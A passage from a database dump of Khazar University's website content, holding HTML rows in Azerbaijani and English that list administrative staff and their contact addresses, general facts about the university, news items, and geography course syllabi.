href=\"mailto:zyusifoglu[at]khazar.org\">zyusifoglu[at]khazar.org</a>    <br></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/889/metbee\">Mətbəə</a></strong></p><p><em><a href=\"http://www.khazar.org/files/letters/Rufat_Isayev_CV.pdf\">Rüfət İsayev</a></em>, MS, direktor, <a href=\"mailto:risayev[at]khazar.org\">risayev[at]khazar.org</a>    <br></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/897/yemekhana\">Yeməkxana</a></strong></p><p><em><a href=\"http://www.khazar.org/files/letters/samira_mammadova_cv.pdf\">Samirə Məmmədova</a></em>, müdir</p><p><strong><br></strong></p><p><a href=\"http://www.khazar.org/az/menus/894/the_health_care_center\"><strong>Tibbi yardım mərkəz</strong>i</a></p><p><em><a href=\"http://www.khazar.org/files/letters/Leyla_Camilzade_CV.pdf\">Leyla Cəmilzadə</a></em>, MD, baş həkim, <a href=\"mailto:lcemilzade[at]khazar.org\">lcemilzade[at]khazar.org</a>    <br></p><p><strong><br></strong></p><p><a href=\"http://www.khazar.org/az/menus/101/xezer_psixoloji_xidmet_merkezi\"><strong></strong></a><strong><a href=\"http://www.khazar.org/az/menus/101/xezer_psixoloji_xidmet_merkezi\">Xəzər Psixoloji Xidmət Mərkəzi</a></strong></p><p><em><a href=\"http://www.khazar.org/files/psycho_depart/CV%20MELEK%20KERIMOVA%20sons.pdf\">Mələk Kərimova</a></em>, MS, direktor, <a href=\"mailto:mkerimova[at]khazar.org\">mkerimova[at]khazar.org</a>    <br></p><p><br></p><p><strong><a href=\"http://www.khazar.org/az/menus/89/inkishaf_merkezi\">İnkişaf mərkəzi</a></strong></p><p><em><a href=\"http://www.khazar.org/files/admin/raziya_isayeva_cv.pdf\">Raziyə İsayeva</a></em>, MS, direktor,&nbsp;<a href=\"mailto:risayeva[at]khazar.org\">risayeva[at]khazar.org</a></p>  <p><br></p><p><strong><a href=\"http://www.khazar.org/az/menus/100/multimedia_merkezi\">Multimedia&nbsp;mərkəzi</a></strong></p><p><em><a href=\"http://old.khazar.org/files/Natella%20Barkaya%20CV.pdf\">Natella Barkaya</a></em>, MS, direktor,&nbsp;<a href=\"mailto:media-center[at]khazar.org\">media-center[at]khazar.org</a>&nbsp;&nbsp; &nbsp; &nbsp;</p>  <p><br></p><p><strong><a href=\"http://www.khazar.org/az/menus/424/internet_tehsil_merkezi\">İnternet Təhsil Mərkəzi</a></strong></p><p><em><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Mahammad_Sharifov.pdf\">Məhəmməd Şərifov</a>,&nbsp;</em>Fəlsəfə doktoru, direktor,&nbsp;<a href=\"mailto:msharifov[at]khazar.org\">msharifov[at]khazar.org</a></p>  <p><br></p><p><strong><a href=\"http://www.khazar.org/az/menus/103/peshe_inkishaf_merkezi\">Peşə İnkişaf&nbsp;mərkəzi</a></strong></p><p><a href=\"http://www.khazar.org/files/letters/Sabina_Allahveranova_CV.pdf\" style=\"font-style:italic\">Səbinə&nbsp;Allahverənova</a><em>, </em>menecer,&nbsp;<a href=\"mailto:Sallahveranova@khazar.org\">sallahveranova[at]khazar.org</a>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</p><p><br></p><p><strong><a href=\"http://www.khazar.org/az/menus/99/kitabxana_informasiya_merkezi\">Kitabxana-informasiya mərkəzi</a></strong><strong></strong></p><p><em><a href=\"http://library.khazar.org/files/Aytaj%20CV%20new.doc\"></a></em><em><a href=\"http://www.khazar.org/files/library/Tatiana_Z_CV.pdf\">Tatyana Zayseva</a></em>,&nbsp;Fəlsəfə doktoru,&nbsp;direktor,&nbsp;<a href=\"mailto:tzaytseva@khazar.org\">tzaytseva[at]khazar.org</a>  <a href=\"mailto:amiskerli[at]khazar.org\"></a></p>'),(198,74,'az','İnzibati şöbələr','İnzibati şöbələr','<p><a href=\"http://www.khazar.org/az/menus/870/insan_resurslari\"></a></p><h3>İnzibati şöbələr</h3><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/870/insan_resurslari\">İnsan resursları mərkəzi</a></strong></p><p><em>Ülkər Isayeva</em>, MS, direktor,&nbsp;<a href=\"mailto:uisayeva[at]khazar.org\">uisayeva[at]khazar.org</a><br></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/882/ictimaiyyetle_elaqeler_ve_media_shobesi\">İctimaiyyətlə əlaqələr və media şöbəsi</a></strong>&nbsp;</p><p><em>Əlövsət Əmirbəyli</em>, MS, direktor,&nbsp;<a href=\"mailto:aamirbeyli[at]khazar.org\">aamirbeyli[at]khazar.org</a>&nbsp;<br></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/875/qeydiyyat_ve_informasiya_shobesi\">Qeydiyyat və informasiya şöbəsi</a></strong></p><p><strong></strong><em>Ceyhun İsayev</em>, BBA, müdir,&nbsp;<a href=\"mailto:http://www.khazar.org/az/menus/875/qeydiyyat_ve_informasiya_shobesi\">iceyhun[at]khazar.org</a>&nbsp;<br></p><p><strong><br></strong></p><p><strong>Tələbə qəbul və məlumat şöbəsi</strong>&nbsp;</p><p><em>Lamiyə Namazova</em>, MBA, müdir,&nbsp;<a href=\"mailto:lnamazova[at]khazar.org\">lnamazova[at]khazar.org</a>&nbsp;<br></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/159/beynelxalq_elaqeler_ofisi\">Beynəlxalq əlaqələr ofisi</a></strong></p><p><em>Turan Cəfərova,&nbsp;</em>MA,<em>&nbsp;</em><a href=\"mailto:tjafarova[at]khazar.org\">tjafarova[at]khazar.org</a><br></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/886/kadrlar_shobesi\">Kadrlar şöbəsi</a></strong></p><p><em>Aybəniz Namazova</em>, BBA, koordinator,&nbsp;<a href=\"mailto:anamazova[at]khazar.org\">anamazova[at]khazar.org</a>&nbsp;<br></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/887/maliyye_shobesi\">Maliyyə şöbəsi</a></strong>&nbsp;</p><p><em>Nağı Bayramlı</em>, MBA, direktor,&nbsp;<a href=\"mailto:nbayramli[at]khazar.org\">nbayramli[at]khazar.org</a>&nbsp;<br></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/888/muhasibatliq\">Mühasibatlıq</a></strong></p><p><em>Emin Bəylərov</em>, MS, baş mühasib,&nbsp;<a href=\"http://mailto%3Bbemin[at]khazar.org/\">bemin[at]khazar.org</a>&nbsp;<br></p><p><strong><br></strong></p><p><strong>İnzibati şöbə</strong></p><p><em>Faiq Məmmədov</em>, MS, koordinator,&nbsp;<a href=\"mailto:fmammadov[at]khazar.org\">fmammadov[at]khazar.org</a>&nbsp;<br></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/1231/informasiya_texnologiyalari_shobesi\">İnformasiya texnologiyaları şöbəsi</a></strong></p><p><em>Fərid Musayev</em>, MS, müdir,&nbsp;<a href=\"mailto:farid[at]khazar.org\">farid[at]khazar.org</a>&nbsp;<br></p><p><strong><br></strong></p><p><strong>İnformasiya&nbsp;sistemləri şöbəsi</strong></p><p><em>Rəşad Xalıqov</em>, MS, müdir,&nbsp;<a href=\"mailto:rkhaligov[at]khazar.org\">rkhaligov[at]khazar.org</a>&nbsp;<br></p><p><strong><br></strong></p><p><strong>Satınalma şöbəsi</strong></p><p><em>Aqşin Vəliyev</em>, MS, menecer,&nbsp;<a href=\"mailto:aveliyev[at]khazar.org\">aveliyev[at]khazar.org</a>&nbsp;<br></p><p><strong><br></strong></p><p><strong>Təmir-tikinti şöbəsi</strong></p><p><em>Şahin İsayev</em>, MS, menecer,&nbsp;<a href=\"mailto:shisayev[at]khazar.org\">shisayev[at]khazar.org</a>&nbsp;<br></p><p><strong><br></strong></p><p><strong>Təsərrüfat şöbəsi</strong></p><p><em>Məlahət Hüseynova</em>, MS, menecer,&nbsp;<a href=\"mailto:mhuseynova[at]khazar.org\">mhuseynova[at]khazar.org</a>&nbsp;<br></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/70/xezer_universitetinin_neshriyyati\">Nəşriyyat</a></strong></p><p><em>Zakir Yusifoglu</em>, MS, direktor,&nbsp;<a href=\"mailto:zyusifoglu[at]khazar.org\">zyusifoglu[at]khazar.org</a>&nbsp;<br></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/889/metbee\">Mətbəə</a></strong></p><p><em>Rüfət İsayev</em>, MS, direktor,&nbsp;<a href=\"mailto:risayev[at]khazar.org\">risayev[at]khazar.org</a>&nbsp;<br></p><p><strong><br></strong></p><p><strong><a href=\"http://www.khazar.org/az/menus/897/yemekhana\">Yeməkxana</a></strong><br></p><p><em>Rafiq Musayev&nbsp;</em></p><p><strong><br></strong></p><p><a href=\"http://www.khazar.org/az/menus/894/the_health_care_center\"><strong>Tibbi yardım mərkəz</strong>i</a></p><p><em>Leyla Cəmilzadə</em>, MD, baş həkim,&nbsp;<a href=\"mailto:lcemilzade[at]khazar.org\">lcemilzade[at]khazar.org</a>&nbsp;<br></p><p><strong><br></strong></p><p><a href=\"http://www.khazar.org/az/menus/101/xezer_psixoloji_xidmet_merkezi\"><strong></strong></a><strong><a href=\"http://www.khazar.org/az/menus/101/xezer_psixoloji_xidmet_merkezi\">Xəzər Psixoloji Xidmət Mərkəzi</a></strong></p><p><em>Mələk Kərimova</em>, MS, direktor,&nbsp;<a href=\"mailto:mkerimova[at]khazar.org\">mkerimova[at]khazar.org</a>&nbsp;<br></p><p><br></p><p><strong><a href=\"http://www.khazar.org/az/menus/89/inkishaf_merkezi\">İnkişaf mərkəzi</a></strong></p><p><em>Raziyə İsayeva</em>, MS, direktor,&nbsp;<a href=\"mailto:risayeva[at]khazar.org\">risayeva[at]khazar.org</a>&nbsp;&nbsp; &nbsp;&nbsp;</p><p><br></p><p><strong><a href=\"http://www.khazar.org/az/menus/890/_institusional_arashdirmalar\">İnstitusional araşdırmalar mərkəzi</a></strong></p><p><strong></strong><em>Rafiq Əhmədov</em>, Fəlsəfə doktoru, dosent, direktor,&nbsp;<a href=\"mailto:rahmadov[at]khazar.org\">rahmadov[at]khazar.org</a>&nbsp;&nbsp; &nbsp;</p><p><br></p><p><strong><a href=\"http://www.khazar.org/az/menus/100/multimedia_merkezi\">Multimedia&nbsp;mərkəzi</a></strong></p><p><em>Natella Barkaya</em>, MS, direktor,&nbsp;<a href=\"mailto:media-center[at]khazar.org\">media-center[at]khazar.org</a>&nbsp;&nbsp; &nbsp; &nbsp;</p><p><br></p><p><strong><a href=\"http://www.khazar.org/az/menus/424/internet_tehsil_merkezi\">İnternet təhsil mərkəzi</a></strong></p><p><em>Məhəmməd Şərifov,&nbsp;</em>Fəlsəfə doktoru, direktor,&nbsp;<a href=\"mailto:msharifov[at]khazar.org\">msharifov[at]khazar.org</a></p><p><br></p><p><strong><a href=\"http://www.khazar.org/az/menus/103/peshe_inkishaf_merkezi\">Peşə İnkişaf&nbsp;mərkəzi</a></strong></p><p><em>Ülviyyə Hüseynova</em>, direktor,&nbsp;<a href=\"mailto:uhuseynova[at]khazar.org\">uhuseynova[at]khazar.org</a>&nbsp; &nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</p><p><br></p><p><strong><a href=\"http://www.khazar.org/az/menus/99/kitabxana_informasiya_merkezi\">Kitabxana-informasiya mərkəzi</a></strong><strong></strong></p><p><em>Aytac Misgərli</em>, MS, direktor,&nbsp;<a href=\"mailto:amiskerli[at]khazar.org\">amiskerli[at]khazar.org</a></p>'),(199,75,'az','Müəllimlər','Müəllimlər','<p>Xəzər Universitetində mühəndislik, tətbiqi elmlər, iqtisadiyyat, biznes idarəçiliyi, humanitar və sosial elmlər, beynəlxalq münasibətlər, təhsil və s. sahələr üzrə kadr hazırlığı aparılır.&nbsp;</p><p>Xəzər Universitetində əsas təhsil dili ingilis dilidir. Bu, tələbələrin müasir dərsliklərdən istifadə etməsi, təhsillərini xaricdə davam etdirməsi, xaricdən gələn müəllimlərin effektli dərs deməsi və s. kimi işlərə geniş imkan verir.&nbsp;</p><p>Fəaliyyətdə оlduğu müddətdə Хəzər Universiteti öz оrijinal təhsil mоdeli ilə, tətbiq etdiyi tədris prоqramlarının müasirliyi, verdiyi təhsilin keyfiyyəti və ciddiliyi ilə həm Azərbaycanda, həm də Azərbaycandan kənarda hörmət və nüfuz qazanmışdır.</p><p>Uni­versitetdə 2000-ə yaxın yerli və xarici tələbə təhsil alır.&nbsp;</p><p>Tələbələrin təxminən 55 faizini oğlanlar, 45 faizini qızlar təşkil edir.</p><p>Tələbələrin təxminən 20 faizi magistratura və doktorantura tələbələridir.</p><p>Universitetdə azərbaycanlılarla yanaşı ABŞ, bir sıra avropa ölkələri, eləcə də Çin, Koreya, Hindistan, Pakistan, İran, İraq, Türkiyə, Misir, Nigeriya, Anqola, bir sıra MDB ölkələri, &nbsp;və s. ölkələrdən müxtəlif irq və mədəniyyətləri təmsil edən əcnəbi tələbələr təhsil alır. Əcnəbi tələbələr təhsil alan tələbələrin təxminən 15 faizini təşkil edir.</p><p>Məzunlarla yanaşı universitetin yuxarı kurs tələbələri ölkəmizdə fəaliyyət göstərən yerli və beynəlxalq təşkilatlardan və digər iş yerlərindən &nbsp;yüksək maaşlı işlərə dəvətlər alırlar.</p><p>Xəzər Universiteti xaricdən dəvət edilmiş mütəxəssislərin, eləcə də xaricə göndərilmiş müəllim və tələbələrin sayına görə Azərbaycanın və yaxın bölgənin ən qabaqcıl ali məktəbidir.</p>'),(2476,1497,'az','“Xəzər Xəbər”  jurnalının sentyabr nömrəsi çapdan çıxıb','“Xəzər Xəbər” jurnalının 2016 - ci il  sentyabr nömrəsi (354-cü nömrə) Xəzər Universitetinin mətbəəsində çapdan çıxmışdır...','<p>“Xəzər Xəbər” jurnalının 2016 - ci\r\nil&nbsp; sentyabr nömrəsi (354-cü nömrə) Xəzər\r\nUniversitetinin mətbəəsində çapdan çıxmışdır. Jurnalı bu linkdə də oxuya bilərsiniz: <a href=\"http://khazar-review.khazar.org/\">http://khazar-review.khazar.org/</a></p>'),(200,76,'az','Tələbələr','Tələbələr','<p>Xəzər Universitetində mühəndislik, tətbiqi elmlər, iqtisadiyyat, biznes idarəçiliyi, humanitar və sosial elmlər, beynəlxalq münasibətlər, təhsil və s. sahələr üzrə kadr hazırlığı aparılır.&nbsp;</p><p>Xəzər Universitetində əsas təhsil dili ingilis dilidir. Bu, tələbələrin müasir dərsliklərdən istifadə etməsi, təhsillərini xaricdə davam etdirməsi, xaricdən gələn müəllimlərin effektli dərs deməsi və s. kimi işlərə geniş imkan verir.&nbsp;</p><p>Fəaliyyətdə оlduğu müddətdə Хəzər Universiteti öz оrijinal təhsil mоdeli ilə, tətbiq etdiyi tədris prоqramlarının müasirliyi, verdiyi təhsilin keyfiyyəti və ciddiliyi ilə həm Azərbaycanda, həm də Azərbaycandan kənarda hörmət və nüfuz qazanmışdır.</p><p>Uni­versitetdə 2000-ə yaxın yerli və xarici tələbə təhsil alır.</p><p>Tələbələrin təxminən 55 faizini oğlanlar, 45 faizini qızlar təşkil edir.</p><p>Tələbələrin təxminən 20 faizi magistratura və doktorantura tələbələridir.</p><p>Universitetdə azərbaycanlılarla yanaşı ABŞ, bir sıra avropa ölkələri, eləcə də Çin, Koreya, Hindistan, Pakistan, İran, İraq, Türkiyə, Misir, Nigeriya, Anqola, bir sıra MDB ölkələri, &nbsp;və s. ölkələrdən müxtəlif irq və mədəniyyətləri təmsil edən əcnəbi tələbələr təhsil alır. Əcnəbi tələbələr təhsil alan tələbələrin təxminən 15 faizini təşkil edir.</p><p>Məzunlarla yanaşı universitetin yuxarı kurs tələbələri ölkəmizdə fəaliyyət göstərən yerli və beynəlxalq təşkilatlardan və digər iş yerlərindən &nbsp;yüksək maaşlı işlərə dəvətlər alırlar.</p><p>Xəzər universiteti xaricdən dəvət edilmiş mütəxəssislərin, eləcə də xaricə göndərilmiş müəllim və tələbələrin sayına görə Azərbaycanın və yaxın bölgənin ən qabaqcıl ali məktəbidir.</p>'),(5729,3287,'az','Müsabiqə qalibləri mükafatlandırıldı','2018-ci il mayın 31-də cari ilin aprelində keçirilən seçkilərlə əlaqədar “Bizim Gənclik...','<p>2018-ci il mayın 31-də cari ilin aprelində keçirilən seçkilərlə əlaqədar “Bizim Gənclik” İctimai Birliyinin elan etdiyi “Mənim namizədim –&nbsp;İlham Əliyevdir!” bloqpost müsabiqəsinin qaliblərinin mükafatlandırma mərasimi həyata keçirildi. Tədbirdə bir neçə universitetin prorektorları, hökumət nümayəndələri və tanınmış ictimai-siyasi xadimlər iştirak edirdilər. Müsabiqənin nəticələrinə əsasən Xəzər universitetinin İqtisadiyyat və menecment fakültəsinin 2-ci kurs tələbəsi Aydın Səlimlinin məqaləsi 1-ci yerə layiq görülmüşdü. Qaliblərə pul mükafatı və sertifikatlar təqdim olundu.</p><p>Məqalə ilə aşağıdakı link vasitəsi ilə tanış olmaq olar:</p><p><a href=\"https://mycandidate675468713.wordpress.com/2018/03/22/mənim-namizədim-ilham-əliyevdir\">https://mycandidate675468713.wordpress.com/2018/03/22/mənim-namizədim-ilham-əliyevdir</a>.</p>'),(2474,1496,'az','Sillabuslar','Sillabuslar','<h3 style=\"font-weight:bold\">Yaz 2018</h3><p>ECON 425 -&nbsp;<a href=\"http://www.khazar.org/files/geography_depart/NewFolder%201/PDF_SYLLABUS/Environmental%20Economics%20and%20Policy_Rovshan_Abbasov.pdf\">Ekoloji iqtisadiyyat və siyasət</a>&nbsp;- 3 kredit&nbsp;</p><p>GEOG 101 -\r\n<a href=\"http://www.khazar.org/files/geography_depart/NewFolder%201/PDF_SYLLABUS/Yer%C5%9F%C3%BCnasl%C4%B1q_R%C3%B6v%C5%9F%C9%99n_Abbasov.pdf\">Yerşünaslıq</a> - 3 kredit</p>\r\n<p>GEOG\r\n201&nbsp;- <a href=\"http://www.khazar.org/files/geography_depart/NewFolder%201/PDF_SYLLABUS/Avropa_%C3%B6lk%C9%99l%C9%99rinin_co%C4%9Frafiyas%C4%B1_R%C3%B6v%C5%9F%C9%99n_K%C9%99rimov.pdf\">Avropa ölkələrinin coğrafiyası</a> -&nbsp;3&nbsp;kredit</p>\r\n<p>GEOG 308&nbsp;- <a href=\"http://www.khazar.org/files/geography_depart/NewFolder%201/PDF_SYLLABUS/D%C3%BCnyan%C4%B1n_iqtisadi_v%C9%99_sosial_co%C4%9Frafiyas%C4%B1_R%C3%B6v%C5%9F%C9%99n_K%C9%99rimov.pdf\">Dünyanın\r\niqtisadi və sosial coğrafiyası</a>&nbsp;- 3 kredit</p>\r\n<p>GEOG 425 - <a href=\"http://www.khazar.org/files/geography_depart/NewFolder%201/PDF_SYLLABUS/Geodeziya_Elvin_Al%C4%B1yev.pdf\">Geodeziya</a>&nbsp;- 3 kredit</p><p>GEOG 301 - <a href=\"http://www.khazar.org/files/geography_depart/NewFolder%201/PDF_SYLLABUS/%C3%9Cmumi_Geologiya_Q%C9%99%C5%9F%C9%99m_Zeynalov.pdf\">Geologiya</a> - 3 kredit</p><p>GEOG 403 - <a href=\"http://www.khazar.org/files/geography_depart/Spring%202018/X%C9%99z%C9%99r%C5%9F%C3%BCnasl%C4%B1q_Xalid_Muxtarl%C4%B1.pdf\">Xəzərşünaslıq</a> - 3 kredit</p><p>ENV 305 - <a href=\"http://www.khazar.org/files/geography_depart/Spring%202018/PDF_SYLLABUS/Syllabus_HSE_Tural%20Maharramov_Spring%202018.pdf\">Həyat Fəaliyyətinin təhlükəsizliyi</a> - 3 kredit<br></p><p>SCI 101A -&nbsp;<a href=\"http://www.khazar.org/files/geography_depart/NewFolder%201/PDF_SYLLABUS/Yer_ve_Kainat_Syllabus_Etibar_Q%C9%99hr%C9%99manov.pdf\">Yer və Kainat&nbsp;</a>- 3 kredit&nbsp;</p><p>SCI 101B&nbsp;-&nbsp;<a href=\"http://www.khazar.org/files/geography_depart/NewFolder%201/PDF_SYLLABUS/Javidan%20Earth%20and%20space%20syllabus.pdf\">Yer və Kainat&nbsp;</a>- 3 kredit&nbsp;</p><p><br></p><br><h3 style=\"font-weight:bold\">Payız 2017</h3><p>ECON 425 -&nbsp;<a href=\"http://www.khazar.org/files/geography_depart/Pay%C4%B1z%202017/EE_Sillabus.docx\">Ekoloji iqtisadiyyat və siyasət</a>&nbsp;- 3 kredit</p><p>GEOG 201&nbsp;-&nbsp;<a href=\"http://www.khazar.org/files/geography_depart/Pay%C4%B1z%202017/Du%CC%88nyan%C4%B1n%20regional%20cog%CC%86rafiyas%C4%B1_Sillabus.docx\">Dünyanın regional coğrafiyası</a>&nbsp;- 3 kredit</p><p>GEOG 306 -&nbsp;<a href=\"http://www.khazar.org/files/geography_depart/Pay%C4%B1z%202017/Az%20fiziki%20v%C9%99%20iqtisadi%20cog%CC%86rafiyas%C4%B1_Sillabus.docx\">Azərbaycanın fiziki və iqtisadi coğrafiyası</a>&nbsp;- 3 kredit</p><p>GEOG 206 -&nbsp;<a href=\"http://www.khazar.org/files/geography_depart/Pay%C4%B1z%202017/GIS_Sillabus.docx\">Kartoqrafiyaya giriş&nbsp;və CİS</a>&nbsp;- 3 kredit</p><p>GEOG 208 -&nbsp;<a href=\"http://www.khazar.org/files/geography_depart/Pay%C4%B1z%202017/D%C3%BCnyan%C4%B1n%20Fiziki%20co%C4%9Frafiyas%C4%B1_Sillabus.docx\">Dünyanın fiziki coğrafiyası</a>&nbsp;- 3 kredit</p><p>ENV 305 -&nbsp;<a href=\"http://www.khazar.org/files/geography_depart/Pay%C4%B1z%202017/HSE_Sillabus.docx\">Həyat fəaliyyətinin təlükəsizliyi</a>&nbsp;- 3 kredit</p><p>GEOG 432 -&nbsp;<a href=\"http://www.khazar.org/files/geography_depart/Pay%C4%B1z%202017/Biocog%CC%86rafiya_sillabus.docx\">Biocoğrafiya</a>&nbsp;- 3 kredit&nbsp;</p><p>GEOG 103 -&nbsp;<a href=\"http://www.khazar.org/files/geography_depart/Pay%C4%B1z%202017/Geomorfologiya_Sillabus.doc\">Geomorfologiya</a>&nbsp;- 3 kredit</p><p>SCI 101 -&nbsp;<a href=\"http://www.khazar.org/files/geography_depart/Pay%C4%B1z%202017/Kainat%20v%C9%99%20Yer_Sillabus.docx\">Yer və Kainat&nbsp;</a>- 3 kredit</p>  <p><strong><br></strong></p><h3><strong>Yaz 2017</strong></h3><p>GEOG 202 - <a href=\"http://www.khazar.org/files/geography_depart/Hidrologiya_Yaz%202017.pdf\">Hidrologiya</a> - 3 kredit</p><p>GEOG 421 - Çöl işi&nbsp;- 3 kredit&nbsp;  <br></p><p>GEOG 408 -&nbsp;<a href=\"http://www.khazar.org/files/geography_depart/M%C9%99saf%C9%99d%C9%99n%20Zondlama_Yaz%202017.pdf\">Məsafədən&nbsp;Zondlama</a>&nbsp;- 3 kredit&nbsp;  <br></p><p>GEOG 333 - <a href=\"http://www.khazar.org/files/geography_depart/%C5%9E%C9%99h%C9%99r%20Planla%C5%9Fd%C4%B1rmas%C4%B1_Yaz%202017.pdf\">Şəhər planlaşdırması</a>- 3 kredit&nbsp;  <br></p><p>GEOG 389 -&nbsp;<a href=\"http://www.khazar.org/files/geography_depart/%C6%8Fhali%20co%C4%9Frafiyas%C4%B1_Yaz%202017.pdf\">Əhali coğrafiyası</a>&nbsp;- 3 kredit  <br></p><p>GEOG 104 -&nbsp;<a href=\"http://www.khazar.org/files/geography_depart/Meteorologiya%20v%C9%99%20%C4%B0qlim%C5%9F%C3%BCnasl%C4%B1q_Yaz%202017.pdf\">Meteorologiya və İqlimşünaslıq</a>&nbsp;- 3 kredit  <br></p><p>SCI&nbsp;101 - <a href=\"http://www.khazar.org/files/geography_depart/Kainat%20v%C9%99%20Yer_Yaz%202017.pdf\">Yer və&nbsp;Kainat</a> - 3 kredit&nbsp;</p>'),(2475,1496,'en','Syllabus','Syllabus','<strong><h3>Spring 2018</h3></strong><p>ECON 425 -&nbsp;<a href=\"http://www.khazar.org/files/geography_depart/NewFolder%201/PDF_SYLLABUS/Environmental%20Economics%20and%20Policy_Rovshan_Abbasov.pdf\">Environmental Economics and Policy</a>&nbsp;- 3 credits&nbsp;</p><p>GEOG 101 -&nbsp;<a href=\"http://www.khazar.org/files/geography_depart/NewFolder%201/PDF_SYLLABUS/Yer%C5%9F%C3%BCnasl%C4%B1q_R%C3%B6v%C5%9F%C9%99n_Abbasov.pdf\">Earth Studies</a>&nbsp;- 3 credits  </p><p>GEOG 201&nbsp;-&nbsp;<a href=\"http://www.khazar.org/files/geography_depart/NewFolder%201/PDF_SYLLABUS/Avropa_%C3%B6lk%C9%99l%C9%99rinin_co%C4%9Frafiyas%C4%B1_R%C3%B6v%C5%9F%C9%99n_K%C9%99rimov.pdf\">Geography of European Countries</a>&nbsp;-&nbsp;3&nbsp;credits  </p><p>GEOG 308&nbsp;-&nbsp;<a href=\"http://www.khazar.org/files/geography_depart/NewFolder%201/PDF_SYLLABUS/D%C3%BCnyan%C4%B1n_iqtisadi_v%C9%99_sosial_co%C4%9Frafiyas%C4%B1_R%C3%B6v%C5%9F%C9%99n_K%C9%99rimov.pdf\">World Economical Geography</a>&nbsp;- 3 credits  </p><p>GEOG 425 -&nbsp;<a href=\"http://www.khazar.org/files/geography_depart/NewFolder%201/PDF_SYLLABUS/Geodeziya_Elvin_Al%C4%B1yev.pdf\">Geodesy</a>&nbsp;- 3 credits  </p><p>GEOG 301 -&nbsp;<a href=\"http://www.khazar.org/files/geography_depart/NewFolder%201/PDF_SYLLABUS/%C3%9Cmumi_Geologiya_Q%C9%99%C5%9F%C9%99m_Zeynalov.pdf\">Geology</a>&nbsp;- 3 credits  </p><p>GEOG 403 -&nbsp;<a href=\"http://www.khazar.org/files/geography_depart/Spring%202018/X%C9%99z%C9%99r%C5%9F%C3%BCnasl%C4%B1q_Xalid_Muxtarl%C4%B1.pdf\">Caspian Studies</a>&nbsp;- 3 credits  </p><p>ENV 305 -&nbsp;<a href=\"http://www.khazar.org/files/geography_depart/Spring%202018/PDF_SYLLABUS/Syllabus_HSE_Tural%20Maharramov_Spring%202018.pdf\">Health Safety and Environment</a>&nbsp;- 3&nbsp;credits  <br></p><p>SCI 101A -&nbsp;<a href=\"http://www.khazar.org/files/geography_depart/NewFolder%201/PDF_SYLLABUS/Yer_ve_Kainat_Syllabus_Etibar_Q%C9%99hr%C9%99manov.pdf\">Earth and Space</a>- 3 credits  </p><p>SCI 101B&nbsp;-&nbsp;<a href=\"http://www.khazar.org/files/geography_depart/NewFolder%201/PDF_SYLLABUS/Javidan%20Earth%20and%20space%20syllabus.pdf\">Earth and Space</a>- 3 credits  </p>  <h3><br></h3><h3>Fall 2017</h3><p>ECON 425 -&nbsp;<a href=\"http://www.khazar.org/files/geography_depart/Pay%C4%B1z%202017/Pay%C4%B1z%202017/EE_Syllabus.docx\">Environmental Economics and Policy</a>&nbsp;- 3 credits</p><p>GEOG 201&nbsp;-&nbsp;<a href=\"http://www.khazar.org/files/geography_depart/Pay%C4%B1z%202017/Pay%C4%B1z%202017/World%20Regioanl%20Geography_Syllabus.docx\">World Regional Geography</a>&nbsp;- 3&nbsp;credits</p><p>GEOG 306 -&nbsp;<a href=\"http://www.khazar.org/files/geography_depart/Pay%C4%B1z%202017/Pay%C4%B1z%202017/Physical%20and%20Economical%20geography%20of%20Azerbaijan_Syllabus.docx\">Physical and Economical Geography of Azerbaijan</a>&nbsp;- 3&nbsp;credits</p><p>GEOG 206 -&nbsp;<a href=\"http://www.khazar.org/files/geography_depart/Pay%C4%B1z%202017/Pay%C4%B1z%202017/Intoduction%20to%20Cartography%20and%20GIS_Syllabus.docx\">Introduction to Cartography and GIS</a>&nbsp;- 3&nbsp;credits</p><p>GEOG 208 -&nbsp;<a href=\"http://www.khazar.org/files/geography_depart/Pay%C4%B1z%202017/Pay%C4%B1z%202017/Physical%20Geography%20of%20World_Syillabus.docx\">Physical Geography of World</a>&nbsp;- 3&nbsp;credits</p><p>ENV 305 -&nbsp;<a href=\"http://www.khazar.org/files/geography_depart/Pay%C4%B1z%202017/Pay%C4%B1z%202017/HSE_Syllabus.docx\">Health Safety and Environment</a>&nbsp;- 3&nbsp;credits</p><p>GEOG 432 -&nbsp;<a href=\"http://www.khazar.org/files/geography_depart/Pay%C4%B1z%202017/Pay%C4%B1z%202017/Biogeography_Syllabus.docx\">Biogeography</a>&nbsp;- 3 credits &nbsp;</p><p>GEOG 103 -&nbsp;<a href=\"http://www.khazar.org/files/geography_depart/Pay%C4%B1z%202017/Pay%C4%B1z%202017/Geomorphology_Syllabus.doc\">Geomorphology</a>&nbsp;- 3&nbsp;credits</p><p>SCI 101 -&nbsp;<a href=\"http://www.khazar.org/files/geography_depart/Pay%C4%B1z%202017/Pay%C4%B1z%202017/Earth%20and%20Space_Syllabus.docx\">Earth and Space</a>&nbsp;- 3&nbsp;credits</p><p><br></p><h3><strong>Spring 2017</strong></h3><p>GEOG 202 - <a href=\"http://www.khazar.org/files/geography_depart/Hydrology_Spring%202017.pdf\">Hydrology</a> -&nbsp;3 credits  </p><p>GEOG 421 - Field Work -&nbsp;3 credits  </p><p>GEOG 408 - <a href=\"http://www.khazar.org/files/geography_depart/Remote%20Sensing_Spring%202017.pdf\">Remote Sensing</a> -&nbsp;3 credits  </p><p>GEOG 333 - <a href=\"http://www.khazar.org/files/geography_depart/Spring%202017/Urban%20Planning_%20Spring%202017.pdf\">Urban planning</a> -&nbsp;3 credits  </p><p>GEOG 389 - <a href=\"http://www.khazar.org/files/geography_depart/The%20Geography%20of%20Population_Spring%202017.pdf\">The Geography of Population </a>- 3 